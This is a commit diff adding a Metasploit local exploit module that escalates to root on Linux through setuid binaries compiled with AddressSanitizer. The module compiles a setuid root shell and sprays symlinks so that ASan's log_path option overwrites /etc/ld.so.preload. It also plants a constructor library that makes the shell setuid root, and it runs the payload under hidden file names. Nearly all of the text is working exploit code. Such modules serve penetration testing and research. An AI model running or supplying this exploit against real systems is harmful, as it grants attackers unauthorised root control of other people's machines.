Add ASan SUID Executable Privilege Escalation module
parent
e9a8d5708a
commit
c6f4eda7f9
|
@ -0,0 +1,292 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Linux systems using
|
||||
setuid executables compiled with AddressSanitizer (ASan).
|
||||
|
||||
ASan configuration related environment variables are permitted when
|
||||
executing setuid executables built with libasan. The `log_path` option
|
||||
can be set using the `ASAN_OPTIONS` environment variable, allowing
|
||||
clobbering of arbitrary files, with the privileges of the setuid user.
|
||||
|
||||
This module uploads a shared object and sprays symlinks to overwrite
|
||||
`/etc/ld.so.preload` in order to create a setuid root shell.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Szabolcs Nagy', # Discovery and PoC
|
||||
'infodox', # unsanitary.sh Exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => '2016-02-17',
|
||||
'Platform' => 'linux',
|
||||
'Arch' =>
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [['Auto', {}]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'AppendExit' => true,
|
||||
'PrependSetresuid' => true,
|
||||
'PrependSetresgid' => true,
|
||||
'PrependFork' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],
|
||||
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],
|
||||
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],
|
||||
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => ['unsanitary.sh']
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),
|
||||
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def suid_exe_path
|
||||
datastore['SUID_EXECUTABLE']
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data, gcc_args='')
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
|
||||
unless gcc_args.to_s.blank?
|
||||
gcc_cmd << " #{gcc_args}"
|
||||
end
|
||||
|
||||
output = cmd_exec gcc_cmd
|
||||
|
||||
unless output.blank?
|
||||
print_error 'Compiling failed:'
|
||||
print_line output
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
chmod path
|
||||
end
|
||||
|
||||
def check
|
||||
unless setuid? suid_exe_path
|
||||
vprint_error "#{suid_exe_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{suid_exe_path} is setuid"
|
||||
|
||||
# Check if the executable was compiled with ASan
|
||||
#
|
||||
# If the setuid executable is readable, and `ldd` is installed and in $PATH,
|
||||
# we can detect ASan via linked libraries. (`objdump` could also be used).
|
||||
#
|
||||
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.
|
||||
# This approach works regardless of whether the setuid executable is readable,
|
||||
# with the obvious disadvantage that it requires invoking the executable.
|
||||
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
|
||||
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
|
||||
vprint_error "#{suid_exe_path} was not compiled with ASan"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
else
|
||||
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
|
||||
vprint_error "#{suid_exe_path} was not compiled with ASan"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
vprint_good "#{suid_exe_path} was compiled with ASan"
|
||||
|
||||
unless has_gcc?
|
||||
print_error 'gcc is not installed. Compiling will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'gcc is installed'
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
unless writable? pwd.to_s.strip
|
||||
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
|
||||
end
|
||||
|
||||
if nosuid? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
|
||||
end
|
||||
|
||||
@log_prefix = ".#{rand_text_alphanumeric 5..10}"
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
rootshell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
@rootshell_path = "#{base_dir}/#{rootshell_name}"
|
||||
rootshell = <<-EOF
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
int main(void)
|
||||
{
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
}
|
||||
EOF
|
||||
upload_and_compile @rootshell_path, rootshell, '-Wall'
|
||||
|
||||
lib_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
lib_path = "#{base_dir}/#{lib_name}.so"
|
||||
lib = <<-EOF
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
void init(void) __attribute__((constructor));
|
||||
void __attribute__((constructor)) init() {
|
||||
if (setuid(0) || setgid(0))
|
||||
_exit(1);
|
||||
unlink("/etc/ld.so.preload");
|
||||
chown("#{@rootshell_path}", 0, 0);
|
||||
chmod("#{@rootshell_path}", 04755);
|
||||
_exit(0);
|
||||
}
|
||||
EOF
|
||||
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'
|
||||
|
||||
spray_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
spray_path = "#{base_dir}/#{spray_name}"
|
||||
spray = <<-EOF
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
int main(void)
|
||||
{
|
||||
pid_t pid = getpid();
|
||||
char buf[64];
|
||||
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {
|
||||
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);
|
||||
symlink("/etc/ld.so.preload", buf);
|
||||
}
|
||||
}
|
||||
EOF
|
||||
upload_and_compile spray_path, spray, '-Wall'
|
||||
|
||||
exp_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
exp_path = "#{base_dir}/#{exp_name}"
|
||||
exp = <<-EOF
|
||||
#!/bin/sh
|
||||
#{spray_path}
|
||||
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
|
||||
#{lib_path}
|
||||
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
|
||||
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
|
||||
EOF
|
||||
upload_and_chmodx exp_path, exp
|
||||
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec exp_path
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
|
||||
unless setuid? @rootshell_path
|
||||
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
|
||||
end
|
||||
print_good "Success! #{@rootshell_path} is set-uid root!"
|
||||
vprint_line cmd_exec "ls -la #{@rootshell_path}"
|
||||
|
||||
print_status 'Executing payload...'
|
||||
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Safety check to ensure we don't delete everything in the working directory
|
||||
if @log_prefix.to_s.strip.eql? ''
|
||||
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
|
||||
else
|
||||
cmd_exec "rm #{pwd}/#{@log_prefix}*"
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# Remove rootshell executable
|
||||
if session.type.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.fs.file.rm @rootshell_path
|
||||
else
|
||||
session.shell_command_token "rm -f '#{@rootshell_path}'"
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue